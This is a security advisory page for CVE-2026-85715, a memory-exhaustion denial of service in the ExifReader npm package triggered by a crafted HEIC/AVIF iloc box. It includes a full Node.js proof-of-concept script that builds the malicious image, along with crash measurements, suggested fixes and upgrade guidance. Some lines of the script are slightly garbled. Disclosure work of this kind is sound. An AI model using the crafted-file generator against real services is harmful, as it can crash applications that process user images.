CVE-2026-85715: ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion

Published Sep 17, 2026
·
Updated

Summary ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

- npm package: exifreader - Version: 4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

| Field | Controls | |-------|----------| | offsetSize | Bytes per extent offset | | lengthSize | Bytes per extent length | | baseOffsetSize | Bytes per item base offset | | indexSize | Bytes per extent index |

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

javascript for (let j = 0; j < item.extentCount; j++) { const extent = {}; extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize); offset += sizes.item.extent.extentIndex; // 0 when indexSize=0 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize); offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize); offset += sizes.item.extent.extentLength; // 0 when lengthSize=0 item.extents.push(extent); // allocates unconditionally } When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as pocilocdos.js and run with Node.js against the bundled dist/exif-reader.js:

javascript const fs = require('fs'); const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) { return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; } function u16be(n) { return [(n >>> 8) & 255, n & 255]; } function str(s) { return Array.from(Buffer.from(s, 'ascii')); } function box(type, content) { return [...u32be(8 + content.length), ...str(type), ...content]; }

const ITEMS = 10000; const EXTENTS = 65535;

const ftyp = box('ftyp', [ ...str('heic'), ...u32be(0), ...str('mif1'), 0, 0, 0, 0, ]);

const ilocPayload = [ 0, 0, 0, 0, 0, 0, ...u16be(ITEMS), ];

for (let i = 0; i < ITEMS; i++) { ilocPayload.push(...u16be(i + 1)); ilocPayload.push(...u16be(0)); ilocPayload.push(...u16be(EXTENTS)); }

const iloc = box('iloc', ilocPayload); const meta = box('meta', [0, 0, 0, 0, ...iloc]); const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/pocilocdos.heic', data);

console.log(${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS EXTENTS 80) / (1024 3)).toFixed(0)} GB expected);

const start = Date.now(); const timeout = setTimeout(() => { console.log([DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s); process.exit(1); }, 30000);

try { ExifReader.load(data.buffer); clearTimeout(timeout); console.log(Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s); } catch (e) { clearTimeout(timeout); console.log(Error: ${e.message}); }

Scaled test results Run the above with different ITEMS values:

| Items | File size | Extent objects | Parse time | Heap growth | |-------|-----------|---------------|------------|-------------| | 1 | 58 bytes | 65,535 | 0.03s | +4 MB | | 5 | 82 bytes | 327,675 | 0.17s | +16 MB | | 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB | | 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash | | 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) | <img width="1839" height="588" alt="image" src="https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02" />

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

javascript const MAXEXTENTSPERITEM = 10000;

for (let j = 0; j < item.extentCount; j++) { if (item.extents.length >= MAXEXTENTSPERITEM) { break; } // ... existing code ... }

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

javascript if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { // Fields are absent per spec; nothing meaningful to read // Still advance offset if extentCount > 0 to maintain correctness continue; }

Other sources

ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.

MITRE

Affected Software

2 affected componentsFixes available
npm/exifreader<4.41.1
npm/exifreader<=4.41.0
4.41.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/exifreader to a version that resolves this vulnerability.

    Fixed in 4.41.1
  2. Upgrade

    Upgrade exifreader to a version that resolves this vulnerability.

    Fixed in 4.41.1
  3. Configuration

    In `src/image-header-iso-bmff-iloc.js` within `getItems()`, bound work/allocations for the `iloc` box: add a maximum per-item extent limit (allocation cap for `item.extents`) and skip the inner extent loop when all extent field sizes (offsetSize, lengthSize, baseOffsetSize/indexSize fields) are zero (i.e., the sizes are all zero/absent), since zero values are valid and currently lead to unbounded allocation without advancing the buffer offset.

    ExifReader iloc parser (src/image-header-iso-bmff-iloc.js function getItems()) Maximum extent objects allocation per item (extentCount iteration budget) = Cap allocations to a defined maximum per-item or cumulative budget; and skip inner extent loop when all extent field sizes are zero

Event History

Sep 17, 2026
CVE Published
via MITRE·03:33 PM
Data Sourced
via MITRE·03:33 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·04:30 PM
Data Sourced
via GitHub·04:30 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this issue?

Applications using ExifReader before 4.41.1 are exposed when they parse attacker-controlled HEIC or AVIF files. This can affect Node.js processes and web, desktop, or mobile applications that accept or process untrusted images.

2

What does an attacker need to exploit it?

An attacker needs to supply a crafted HEIC or AVIF ISO-BMFF file that is passed to ExifReader's parsing path. No authentication or user interaction is required according to the supplied vector.

3

What is the practical impact of successful exploitation?

A small malicious iloc box can trigger allocation of a very large number of extent objects, causing hundreds of megabytes of heap growth or exhausting system memory. This can terminate the parsing process and cause denial of service; no confidentiality or integrity impact is indicated.

4

What should be done if an immediate upgrade is not possible?

Avoid parsing untrusted HEIC and AVIF files with affected ExifReader versions. The underlying issue requires the parser to bound work and allocations rather than relying on input-buffer advancement.

5

How can I determine whether I am affected?

Check whether your application uses npm/exifreader at a version earlier than 4.41.1 and invokes it on HEIC or AVIF files from untrusted sources. Version 4.41.1 contains the fix.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203